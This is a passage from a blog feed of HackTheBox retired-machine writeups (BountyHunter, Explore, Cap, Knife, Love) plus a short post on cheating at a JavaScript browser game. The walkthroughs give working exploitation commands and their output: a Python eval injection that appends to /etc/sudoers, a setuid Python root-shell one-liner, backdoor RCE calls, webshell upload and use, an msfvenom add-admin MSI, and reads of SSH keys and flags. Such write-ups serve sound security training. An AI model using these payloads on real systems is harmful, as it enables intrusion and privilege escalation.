<span class="n">ticket</span> <span class="o">=</span> <span class="n">load_file</span><span class="p">(</span><span class="n">fileName</span><span class="p">)</span>
<span class="c1">#DEBUG print(ticket)</span>
<span class="n">result</span> <span class="o">=</span> <span class="n">evaluate</span><span class="p">(</span><span class="n">ticket</span><span class="p">)</span>
<span class="k">if</span> <span class="p">(</span><span class="n">result</span><span class="p">):</span>
<span class="nb">print</span><span class="p">(</span><span class="s2">"Valid ticket."</span><span class="p">)</span>
<span class="k">else</span><span class="p">:</span>
<span class="nb">print</span><span class="p">(</span><span class="s2">"Invalid ticket."</span><span class="p">)</span>
<span class="n">ticket</span><span class="o">.</span><span class="n">close</span>
<span class="n">main</span><span class="p">()</span>
</code></pre></div>
<p>We write our own file <code>a.md</code> to pass the few checks and got our payload inside
the <code>eval()</code> statement.</p>
<div class="highlight"><pre><span></span><code># Skytrain Inc
## Ticket to toto
__Ticket Code:__
**4__import__('os').system('id')
</code></pre></div>
<p>Once we run this "ticket" we got a code execution (<code>id</code>) as root.</p>
<div class="highlight"><pre><span></span><code>development@bountyhunter:~$ sudo /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
Please enter the path to the ticket file.
a.md
Destination: toto
uid=0(root) gid=0(root) groups=0(root)
Invalid ticket.
</code></pre></div>
<p>We know have a few option to get a root shell (who could also just <code>cat</code> the root
flag but that's lazy):</p>
<ul>
<li>Add a root (id 0) user to <code>/etc/passwd</code> with a password of our choice (see <a href="/2021/07/htb-armageddon.html">armageddon</a>)</li>
<li>Add an ssh key to root</li>
<li>run a reverse shell</li>
<li>surcharge our <code>sudo</code> permissions</li>
</ul>
<p>We will do the latest here. Our "ticket" file will be the following:</p>
<div class="highlight"><pre><span></span><code># Skytrain Inc
## Ticket to toto
__Ticket Code:__
**4+__import__('os').system('echo \'development ALL=NOPASSWD: ALL\'>> /etc/sudoers')
</code></pre></div>
<p>We run the <code>ticketValidator.py</code> script with the <code>sudo</code> permission and get a
<code>root</code> shell and the flag.</p>
<div class="highlight"><pre><span></span><code>development@bountyhunter:~$ sudo su
root@bountyhunter:/home/development# id
uid=0(root) gid=0(root) groups=0(root)
root@bountyhunter:/home/development# cd
root@bountyhunter:~# cat /root/root.txt
8bc89c35cfcc7dbce1c4f6ea0e1093d5
</code></pre></div>
<h1>Wrapping up</h1>
<p>An "easy" machine as long as you think about the PHP filter and running <code>dirb</code>
(or <code>ffuf</code>) with the PHP extension. Then the root flag is quit easy.</p>HTB: Exlore2021-11-01T09:15:00+01:002021-11-01T09:15:00+01:00maggicktag:maggick.fr,2021-11-01:/2021/11/htb-exlore.html<p><img alt="Explore card" class="align-left" src="/media/2021.11/explore_card.png" width="262"/></p>
<p>This is a writeup about a retired HacktheBox machine:
<a href="https://www.hackthebox.com/home/machines/profile/356">Explorer</a> created by
<a href="https://www.hackthebox.com/home/users/profile/27897">bertolis</a> and publish on
June 26, 2021.
This box is classified as an easy machine. The user part involves an Android
exploit for ES File Explorer and the root part a simple port forward and an <code>adb</code> shell.</p>
<p><img alt="Explore card" class="align-left" src="/media/2021.11/explore_card.png" width="262"/></p>
<p>This is a writeup about a retired HacktheBox machine:
<a href="https://www.hackthebox.com/home/machines/profile/356">Explorer</a> created by
<a href="https://www.hackthebox.com/home/users/profile/27897">bertolis</a> and publish on
June 26, 2021.
This box is classified as an easy machine. The user part involves an Android
exploit for ES File Explorer and the root part a simple port forward and an <code>adb</code> shell.</p>
<h1>User</h1>
<h2>Reco</h2>
<p>We start with an nmap scan. Only ports 22 (SSH) and 8080 (HTTP) are open.</p>
<div class="highlight"><pre><span></span><code># Nmap 7.91 scan initiated Sat Jul 10 02:07:06 2021 as: nmap -sSV -A -p- -oN notes.md 10.129.153.142
Nmap scan report for 10.129.153.142
Host is up (0.012s latency).
Not shown: 65530 closed ports
PORT STATE SERVICE VERSION
2222/tcp open ssh (protocol 2.0)
| fingerprint-strings:
| NULL:
|_ SSH-2.0-SSH Server - Banana Studio
| ssh-hostkey:
|_ 2048 71:90:e3:a7:c9:5d:83:66:34:88:3d:eb:b4:c7:88:fb (RSA)
5555/tcp filtered freeciv
33427/tcp open unknown
<snip>
42135/tcp open http ES File Explorer Name Response httpd
|_http-title: Site doesn't have a title (text/html).
59777/tcp open http Bukkit JSONAPI httpd for Minecraft game server 3.6.0 or older
|_http-title: Site doesn't have a title (text/plain).
<snip>
</snip></snip></code></pre></div>
<p>The nmap scan hint us that the "box" is an Android device (port 5555 for adb,
Banana ssh server and ES File Explorer).</p>
<p>A quick google search "ES File Explorer exploit" allows us to find an
<a href="https://www.exploit-db.com/exploits/50070">arbitrary file read exploit</a>.</p>
<p>We run it and are able to list the files on the Android phone but nothing there
will give us a shell (we are still abe to get the user flag).
We list the pictures and found the <code>creds.png</code> file.</p>
<div class="highlight"><pre><span></span><code>└─$ python3 50070.py listPics 10.129.153.142
==================================================================
| ES File Explorer Open Port Vulnerability : CVE-2019-6447 |
| Coded By : Nehal a.k.a PwnerSec |
==================================================================
name : concept.jpg
time : 4/21/21 02:38:08 AM
location : /storage/emulated/0/DCIM/concept.jpg
size : 135.33 KB (138,573 Bytes)
name : anc.png
time : 4/21/21 02:37:50 AM
location : /storage/emulated/0/DCIM/anc.png
size : 6.24 KB (6,392 Bytes)
name : creds.jpg
time : 4/21/21 02:38:18 AM
location : /storage/emulated/0/DCIM/creds.jpg
size : 1.14 MB (1,200,401 Bytes)
name : 224_anc.png
time : 4/21/21 02:37:21 AM
location : /storage/emulated/0/DCIM/224_anc.png
size : 124.88 KB (127,876 Bytes)
</code></pre></div>
<p>The file is a picture of (beautifully) handwritten credential: <code>kristi:Kr1sT!5h@Rp3xPl0r3!</code></p>
<p>We can use this credentials to connect using SSH and get the user flag.</p>
<div class="highlight"><pre><span></span><code>└─$ ssh kristi@10.129.153.142 -p2222 #Kr1sT!5h@Rp3xPl0r3!
Password authentication
Password:
Password authentication
Password:
Password authentication
Password:
kristi@10.129.153.142's password:
:/ $ id
uid=10076(u0_a76) gid=10076(u0_a76) groups=10076(u0_a76),3003(inet),9997(everybody),20076(u0_a76_cache),50076(all_a76) context=u:r:untrusted_app:s0:c76,c256,c512,c768
:/ $ cat /sdcard/user.txt
f32017174c7c7e8f50c6da52891ae250
</code></pre></div>
<h1>Root</h1>
<p>We saw in out initial port scan that the port 5555 (adb) was filtered. We use
SSH to access the port directly from the device by creating an SSH Local forward
tunnel.</p>
<div class="highlight"><pre><span></span><code>└─$ ssh -L 5557:127.0.0.1:5555 kristi@10.129.43.55 -p2222
Password authentication
Password:
:/ $ id
uid=10076(u0_a76)
</code></pre></div>
<p>In another terminal we can run <code>adb</code> to list the device, connect to the box,
run a shell as root and grab the flag.</p>
<div class="highlight"><pre><span></span><code>└─$ adb devices
List of devices attached
127.0.0.1:5557 device
└─$ adb connect 127.0.0.1:5557
already connected to 127.0.0.1:5557
└─$ adb -s 127.0.0.1:5557 shell 1 ⨯
x86_64:/ $ su
:/ # id
uid=0(root) gid=0(root) groups=0(root) context=u:r:su:s0
:/ # find / -name 'root.txt' 2> /dev/null
/data/root.txt
1|:/ # cat data/root.txt
f04fc82b6d49b41c9b08982be59338c5
</code></pre></div>
<h2>Wrapping up</h2>
<p>A "quick" and easy box. I spent way to much time on the root part as my <code>adb</code>
demon was acting weirdly and I thought the issue was on my port forwarding.</p>HTB: Cap2021-10-23T11:40:00+02:002021-10-23T11:40:00+02:00maggicktag:maggick.fr,2021-10-23:/2021/10/htb-cap.html<p><img alt="cap Card" class="align-left" src="/media/2021.10/cap_card.png" width="262"/></p>
<p>This article is a writeup about a retired HacktheBox machine:
<a href="https://www.hackthebox.com/home/machines/profile/351">Cap</a> published on
June 5, 2021 by
<a href="https://www.hackthebox.com/home/users/profile/52045">InfoSecJack</a>.
This box is rated as easy box the user part implies to know a bit about array
indexes and wireshark. The root part is quit easy and implies a binary
capabilities.</p>
<p><img alt="cap Card" class="align-left" src="/media/2021.10/cap_card.png" width="262"/></p>
<p>This article is a writeup about a retired HacktheBox machine:
<a href="https://www.hackthebox.com/home/machines/profile/351">Cap</a> published on
June 5, 2021 by
<a href="https://www.hackthebox.com/home/users/profile/52045">InfoSecJack</a>.
This box is rated as easy box the user part implies to know a bit about array
indexes and wireshark. The root part is quit easy and implies a binary
capabilities.</p>
<h1>User</h1>
<h2>Recon</h2>
<p>Let us start as always by a <code>nmap</code> scan. Only port 21 (FTP), 22 (SSH) and 80 with a HTTP
service are open.</p>
<div class="highlight"><pre><span></span><code># Nmap 7.91 scan initiated Sat Jun 19 08:05:17 2021 as: nmap -p- -sSV -A -oN notes.md 10.129.162.82
Nmap scan report for 10.129.162.82
Host is up (0.013s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 fa:80:a9:b2:ca:3b:88:69:a4:28:9e:39:0d:27:d5:75 (RSA)
| 256 96:d8:f8:e3:e8:f7:71:36:c5:49:d5:9d:b6:a4:c9:0c (ECDSA)
|_ 256 3f:d0:ff:91:eb:3b:f6:e1:9f:2e:8d:de:b3:de:b2:18 (ED25519)
80/tcp open http gunicorn
<snip>
</snip></code></pre></div>
<h2>FTP</h2>
<p>No anonymous connection is available on it.</p>
<h2>Web</h2>
<p>This is a server monitoring website. We can access a few technical information
as the result of the <code>ip a</code> command.</p>
<p><img alt="Result of ip a command" class="image-process-article-image" src="/media/2021.10/derivatives/article-image/cap_01.png"/></p>
<p>We also have access to a "capture and analyze packets" tool which make me think
about a tcpdump or wireshark RCE exploit.</p>
<p><img alt="Packet capture and analyzer" class="image-process-article-image" src="/media/2021.10/derivatives/article-image/cap_02.png"/></p>
<p>But this was quit simpler. Notice the "index" in the picture above: 1. Or in
programming language, most table start with the index 0. We just change the URL
to <code>data/0</code> and open the pcap with wireshark.</p>
<p>We can see a few FTP frames. The FTP traffic is in clear text, we use the
"follow TCP stream" option from wireshark and get the FTP packets containing a
username and a password.</p>
<div class="highlight"><pre><span></span><code>220 (vsFTPd 3.0.3)
USER nathan
331 Please specify the password.
PASS Buck3tH4TF0RM3!
230 Login successful.
SYST
215 UNIX Type: L8
PORT 192,168,196,1,212,140
<snip>
</snip></code></pre></div>
<p>We can connect using FTP and get access to Nathan's files but the user is using the same password for his SSH access :S</p>
<div class="highlight"><pre><span></span><code>┌──(kali㉿kali)-[~]
└─$ ssh nathan@10.129.162.82
nathan@10.129.162.82's password:
<snip>
nathan@cap:~$ cat user.txt
881dbf629f65f88eca6c0be9dab5db20
</snip></code></pre></div>
<h1>Root</h1>
<p>We quickly check our <code>sudo</code> privileges but we do not have any.</p>
<p>The name of the box might be a hint here. We can run a Linux privilege
escalation tool as
<a href="https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS">LinPEAS</a>
or just run the appropriate command available on
<a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Privilege%20Escalation.md#capabilities">Linux privilege escalation methodologies</a>.</p>
<p>We quickly found out that <code>/usr/bin/python3.8</code> has the <code>setuid</code> capabilities
which allow to <a href="https://man7.org/linux/man-pages/man7/capabilities.7.html">make arbitrary manipulations of process UIDs</a></p>
<div class="highlight"><pre><span></span><code>nathan@cap:/$ getcap -r / 2> /dev/null
/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip
/usr/bin/ping = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
</code></pre></div>
<p>We just have to run a simple python command either via the python console or in
a oneliner to pop a root shell and grab the flag.</p>
<div class="highlight"><pre><span></span><code>nathan@cap:/$ /usr/bin/python3.8 -c 'import os; os.setuid(0); os.system("/bin/sh")'
# id
uid=0(root) gid=1001(nathan) groups=1001(nathan)
# cat /root/root.txt
96f9681e3e9831523150b8a56f288a90
</code></pre></div>
<h1>Wrapping up</h1>
<p>This was an easy box! I struggle an bit on the "Array index" as I was in the
tcpdump/wireshark rce rabbit hole. Nonetheless a great box for every beginners.</p>BAYC: Mutant Ape game2021-09-26T13:15:00+02:002021-09-26T13:15:00+02:00maggicktag:maggick.fr,2021-09-26:/2021/09/bayc-mutant-ape-game.html<p><img alt="The BAYC, mutant ape game" class="align-left" src="/media/2021.09/mutant_ape_banner.png" width="262"/></p>
<p>A different kind of article about a game organized by the
<a href="https://twitter.com/BoredApeYC">Bored Ape Yach Club</a> a few weeks ago. The deal
was to complete five levels of a difficult game to get a
<a href="https://poap.xyz/">Proof of attendance</a> token.</p>
<p>As a few weeks have pass since the
<a href="https://twitter.com/boredapeyc/status/1432886600623656969">end of the game</a>
I will share a few tips to win every time as the game is written in JavaScript.</p>
<p>The game is located at <a href="https://2dengine.com/mutantarcade/">https://2dengine.com/mutantarcade/</a></p>
<p><em>Note:</em> it seems that you are directly in the last level (5/5) using the link
above. You can find an archive with the JS files <a href="/media/2021.09/mutantarcade.zip">here</a>.</p>
<p><img alt="The BAYC, mutant ape game" class="align-left" src="/media/2021.09/mutant_ape_banner.png" width="262"/></p>
<p>A different kind of article about a game organized by the
<a href="https://twitter.com/BoredApeYC">Bored Ape Yach Club</a> a few weeks ago. The deal
was to complete five levels of a difficult game to get a
<a href="https://poap.xyz/">Proof of attendance</a> token.</p>
<p>As a few weeks have pass since the
<a href="https://twitter.com/boredapeyc/status/1432886600623656969">end of the game</a>
I will share a few tips to win every time as the game is written in JavaScript.</p>
<p>The game is located at <a href="https://2dengine.com/mutantarcade/">https://2dengine.com/mutantarcade/</a></p>
<p><em>Note:</em> it seems that you are directly in the last level (5/5) using the link
above. You can find an archive with the JS files <a href="/media/2021.09/mutantarcade.zip">here</a>.</p>
<p>As stated above and mentioned by a
few players (Tweet deleted)
the game is really hard. The player only has three life for the whole five level
while the boss (the mutant ape) has 15 life per level. You must hit him 75 times
while you can only be it twice! Also the mutant's hitbox is awful.</p>
<p><img alt="player vs boss life" class="image-process-article-image" src="/media/2021.09/derivatives/article-image/mutant_ape_01.png"/></p>
<p>But this is a JavaScript game so you can easily open a debugger in the tab
(before loading the game). Once you have the <code>console</code> you can manipulate the
game as you want:</p>
<ul>
<li>You can give yourself a lot of health and still enjoy the game using <code>lvl.player.health=1000</code>:</li>
</ul>
<p><img alt="who is the boss now?" class="image-process-article-image" src="/media/2021.09/derivatives/article-image/mutant_ape_02.png"/></p>
<ul>
<li>Or you can just kill the boss in one key stroke (↑) by setting the boss health
to 0 with <code>lvl.boss.health=0</code> for an instant boss death.</li>
</ul>
<h1>Wrapping up</h1>
<p>Avoid buidling game that run client side or at least verify some data server
side (game time, player life, etc.) as the
babyboomer game (now over).</p>
<p>A different type of (shorter) post here. Let's see if this get some appreciation.</p>HTB: Knife2021-08-29T10:30:00+02:002021-08-29T10:30:00+02:00maggicktag:maggick.fr,2021-08-29:/2021/08/htb-knife.html<p><img alt="Knife card" class="align-left" src="/media/2021.08/knife_card.png" width="262"/></p>
<p>This is a writeup about a retired HacktheBox machine:
<a href="https://www.hackthebox.com/home/machines/profile/347">Knife</a> published on
May 22 2021 by
<a href="https://www.hackthebox.com/home/users/profile/98767">MrKN16H</a>
This box is classified as an easy machine. This box implies a PHP dev backdoor
and a misconfigured <code>sudo</code> permission for <code>knife</code> a
<a href="https://docs.chef.io/">chef</a> utility.</p>
<p><img alt="Knife card" class="align-left" src="/media/2021.08/knife_card.png" width="262"/></p>
<p>This is a writeup about a retired HacktheBox machine:
<a href="https://www.hackthebox.com/home/machines/profile/347">Knife</a> published on
May 22 2021 by
<a href="https://www.hackthebox.com/home/users/profile/98767">MrKN16H</a>
This box is classified as an easy machine. This box implies a PHP dev backdoor
and a misconfigured <code>sudo</code> permission for <code>knife</code> a
<a href="https://docs.chef.io/">chef</a> utility.</p>
<h1>User</h1>
<h2>Recon</h2>
<p>We start with an nmap scan. Only port 22 (SSH) and port 80 (HTTP) are open.</p>
<div class="highlight"><pre><span></span><code># Nmap 7.91 scan initiated Tue May 25 12:12:19 2021 as: nmap -sSV -p- -A -oN notes.md 10.129.151.250
Nmap scan report for 10.129.151.250
Host is up (0.012s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 be:54:9c:a3:67:c3:15:c3:64:71:7f:6a:53:4a:4c:21 (RSA)
| 256 bf:8a:3f:d4:06:e9:2e:87:4e:c9:7e:ab:22:0e:c0:ee (ECDSA)
|_ 256 1a:de:a1:cc:37:ce:53:bb:1b:fb:2b:0b:ad:b3:f6:84 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Emergent Medical Idea
<snip>
</snip></code></pre></div>
<h2>Web</h2>
<p>On the port 80 there is a simple website with no real content. Running <code>nikto</code>
on it show that the PHP version used is 8.1.0-dev.</p>
<div class="highlight"><pre><span></span><code>└─$ nikto -h http://10.129.151.250/
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 10.129.151.250
+ Target Hostname: 10.129.151.250
+ Target Port: 80
+ Start Time: 2021-05-25 12:15:53 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache/2.4.41 (Ubuntu)
+ Retrieved x-powered-by header: PHP/8.1.0-dev
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
</code></pre></div>
<p>This specific 8.1.0-dev PHP version is vulnerable to a <a href="https://packetstormsecurity.com/files/162749/php_8.1.0-dev.py.txt">backdoor RCE</a></p>
<p>Using the exploit script we can directly execute command on the system. A few
enumeration show that we are running command as <code>james</code> and we can grab his SSH
private key.</p>
<p><code>└─$ python3 rce.py -u http://10.129.151.250/ -c 'cat /home/james/.ssh/id_rsa' > id_rsa</code></p>
<p>A quick edit allows us remove the "result" from the python script then we use
<code>chmod 600</code> to fix the SSH key right and avoid the permission warning. Then we
add the key to the <code>authorized_keys</code> file still using the PHP backdoor.</p>
<p><code>└─$ python3 rce.py -u http://10.129.151.250/ -c 'cat /home/james/.ssh/id_rsa.pub > /home/james/.ssh/authorized_keys'</code></p>
<p>We can then connect as <code>james</code> on the box and grab the user flag.</p>
<div class="highlight"><pre><span></span><code>└─$ ssh james@10.129.151.250 -i id_rsa
<snip>
james@knife:~$ cat user.txt
39169b04d1705adad09a0ba6aafe5363
</snip></code></pre></div>
<h1>Root</h1>
<p>We look at our permission on the box and found that we can run <code>/usr/bin/knife</code>
on the box. This is a symlink to a ruby script used by
<a href="https://docs.chef.io/">chef</a>.</p>
<div class="highlight"><pre><span></span><code>james@knife:~$ sudo -l
Matching Defaults entries for james on knife:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User james may run the following commands on knife:
(root) NOPASSWD: /usr/bin/knife
</code></pre></div>
<p>Look at the <a href="https://docs.chef.io/workstation/knife_exec/">Knife documentation</a>
we found that <code>knife exec</code> can execute ruby scripts. We execute the <code>id</code> command
to validate that we are running as root and then create the <code>.ssh</code> folder and
add james' SSH key to the <code>authorized_keys</code>.</p>
<div class="highlight"><pre><span></span><code>james@knife:~$ cat h.rb
puts "Hello World"
system "id"
system "mkdir -p /root/.ssh/"
system "cp /home/james/.ssh/authorized_keys /root/.ssh/"
james@knife:~$ sudo /usr/bin/knife exec h.rb -VVV
Hello World
uid=0(root) gid=0(root) groups=0(root)
</code></pre></div>
<p>We can then connect as root on the box (either from our kali or directly from the box)
and grab the root flag.</p>
<div class="highlight"><pre><span></span><code>└─$ ssh root@10.129.151.250 -i id_rsa
<snip>
root@knife:~# cat root.txt
9c158f53231321d8fdf47e3f431b0a77
</snip></code></pre></div>
<h1>Wrapping up</h1>
<p>A really easy box perfect for new comers.</p>HTB: Love2021-08-09T17:55:00+02:002021-08-09T17:55:00+02:00maggicktag:maggick.fr,2021-08-09:/2021/08/htb-love.html<p><img alt="Love card" class="align-left" src="/media/2021.08/love_card.png" width="262"/></p>
<p>This is a writeup about a retired HacktheBox machine:
<a href="https://www.hackthebox.com/home/machines/profile/344">Love</a> published on
May 1 2021 by
<a href="https://www.hackthebox.com/home/users/profile/157669">pwnmeow</a>
This box is classified as an easy machine. This box implies a SSRF, some php
file and an AlwaysInstallElevated privilege on a Windows box.</p>
<p><img alt="Love card" class="align-left" src="/media/2021.08/love_card.png" width="262"/></p>
<p>This is a writeup about a retired HacktheBox machine:
<a href="https://www.hackthebox.com/home/machines/profile/344">Love</a> published on
May 1 2021 by
<a href="https://www.hackthebox.com/home/users/profile/157669">pwnmeow</a>
This box is classified as an easy machine. This box implies a SSRF, some php
file and an AlwaysInstallElevated privilege on a Windows box.</p>
<h1>User</h1>
<h2>Recon</h2>
<p>We start with an nmap scan. As always with Windows box a lot of ports are open.
We note the few HTTP services (80, 443, 5000).</p>
<div class="highlight"><pre><span></span><code># Nmap 7.91 scan initiated Thu May 20 09:46:35 2021 as: nmap -sSV -p- -A -oN notes.md 10.129.143.132
Nmap scan report for 10.129.143.132
Host is up (0.012s latency).
Not shown: 65517 closed ports
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1j PHP/7.3.27)
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
|_http-title: Voting System using PHP
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
443/tcp open ssl/http Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27)
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
|_http-title: 403 Forbidden
| ssl-cert: Subject: commonName=staging.love.htb/organizationName=ValentineCorp/stateOrProvinceName=m/countryName=in
| Not valid before: 2021-01-18T14:00:16
|_Not valid after: 2022-01-18T14:00:16
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
445/tcp open microsoft-ds Windows 10 Pro 19042 microsoft-ds (workgroup: WORKGROUP)
3306/tcp open mysql?
| fingerprint-strings:
| DNSStatusRequestTCP, SIPOptions:
|_ Host '10.10.14.70' is not allowed to connect to this MariaDB server
5000/tcp open http Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27)
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
|_http-title: 403 Forbidden
5040/tcp open unknown
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
5986/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
| ssl-cert: Subject: commonName=LOVE
| Subject Alternative Name: DNS:LOVE, DNS:Love
| Not valid before: 2021-04-11T14:39:19
|_Not valid after: 2024-04-10T14:39:19
|_ssl-date: 2021-05-20T14:11:47+00:00; +21m33s from scanner time.
| tls-alpn:
|_ http/1.1
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
49670/tcp open msrpc Microsoft Windows RPC
<snip>
</snip></code></pre></div>
<h2>Web</h2>
<p>On the port 80 we have a login form for a PHP voting system.</p>
<p>On the port 443 we have a FileScanner with a demo. As pointed out by the <code>nmap</code> scan and the SSL
certificate we need to use another domain <code>staging.love.htb</code></p>
<p><img alt="love ssl certificate" class="image-process-article-image" src="/media/2021.08/derivatives/article-image/love_01.png"/></p>
<p>Here we can input an URL to get it "scanned". After a few trial with our files (and a simple python server)
scanned means echoed.</p>
<p>Looking back at our <code>nmap</code> scan we can see that we are forbidden to access the webpage on port 5000.
We use the scanner to display it. It contains the password for the voting system <code>@LoveIsInTheAir!!!!</code>.</p>
<p><img alt="admin password for the voting system" class="image-process-article-image" src="/media/2021.08/derivatives/article-image/love_02.png"/></p>
<p>We connect to the voting system. There is a few vulnerabilities (one of them even unauthenticated Oo)
Using the <a href="https://www.exploit-db.com/exploits/49445">(unauthenticated) RCE exploit</a> we can get a
webshell by uploading <code>/usr/share/webshells/php/simple-backdoor.php</code> as an image for a candidate (after
adding a position). We can then execute Windows command on the OS.</p>
<div class="highlight"><pre><span></span><code>└─$ curl 'http://love.htb/images/simple-backdoor.php?cmd=whoami%20/all'
<!-- Simple PHP backdoor by DK (http://michaeldaw.org) -->
<pre>
USER INFORMATION
----------------
User Name SID
=========== =============================================
love\phoebe S-1-5-21-2955427858-187959437-2037071653-1002
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
====================================== ================ ============ ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\INTERACTIVE Well-known group S-1-5-4 Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON Well-known group S-1-2-1 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account Well-known group S-1-5-113 Mandatory group, Enabled by default, Enabled group
LOCAL Well-known group S-1-2-0 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level Label S-1-16-8192
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ==================================== ========
SeShutdownPrivilege Shut down the system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeUndockPrivilege Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled
</pre></code></pre></div>
<p>We can grab the user flag on the way:</p>
<div class="highlight"><pre><span></span><code>└─$ curl 'http://love.htb/images/simple-backdoor.php?cmd=type%20..\..\..\..\Users\Phoebe\Desktop\user.txt'
<!-- Simple PHP backdoor by DK (http://michaeldaw.org) -->
<pre>eb7553538ae21eec5e4d1d444beaf541
</pre>
</code></pre></div>
<h1>Root</h1>
<p>We use the image upload function to put <a href="https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite">WinPeas</a> on the box
and we run it using our webshell. The output is quit huge (2344 lines).</p>
<div class="highlight"><pre><span></span><code>└─$ curl 'http://love.htb/images/simple-backdoor.php?cmd=winPEASx64.exe' >> winpeas_res
└─$ wc -l winpeas_res
2344 winpeas_res
</code></pre></div>
<p>We see that the AlwaysInstallElevated registry keys are set to one both in HKLM
and HKCU.</p>
<div class="highlight"><pre><span></span><code>[+] Checking AlwaysInstallElevated
[?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#alwaysinstallelevated
AlwaysInstallElevated set to 1 in HKLM!
AlwaysInstallElevated set to 1 in HKCU!
</code></pre></div>
<p>We use <code>msfvenom</code> to generate an msi file that will "install" a new admin user
with a know password.</p>
<div class="highlight"><pre><span></span><code>└─$ #msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi
</code></pre></div>
<p>We then connect to the box using
<a href="https://github.com/Hackplayers/evil-winrm">evil-winrm</a> and grab the root flag.</p>
<div class="highlight"><pre><span></span><code>└─$ evil-winrm -i love.htb -u rottenadmin -p 'P@ssword123!'
Evil-WinRM shell v2.4
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\rottenadmin\Documents> type ..\..\Administrator\Desktop\root.txt
af2d13b1f523eed72cddf44b166c4601
</code></pre></div>
<h1>Wrapping up</h1>
<p>Overall a nice box with a few rabbit hole (very OSCP like). I banged my head a
few time as I did not notice the port 5000 403. Also the CVE used to get the RCE
is completely unauthenticated so a simple Google search "php voting system
exploit" would have return the same exploit. Also the exploit date (May 7) seems to be
posterior to the box publication (May 1) which is odd and maybe not the intended
RCE way.</p>HTB: The Notebook2021-08-01T10:45:00+02:002021-08-01T10:45:00+02:00maggicktag:maggick.fr,2021-08-01:/2021/08/htb-the-notebook.html<p><img alt="The Notebook Card" class="align-left" src="/media/2021.08/thenotebook_card.png" width="262"/></p>
<p>This is a writeup about a retired HacktheBox machine:
<a href="https://www.hackthebox.com/home/machines/profile/320">TheNotebook</a> publish on
Mars 6, 2021 by
<a href="https://www.hackthebox.com/home/users/profile/120514">mostwanted002</a>.
This box is rated as a medium machine. It implies a JWT token, some PHP files
and a docker exploit.</p>
<p><img alt="The Notebook Card" class="align-left" src="/media/2021.08/thenotebook_card.png" width="262"/></p>
<p>This is a writeup about a retired HacktheBox machine:
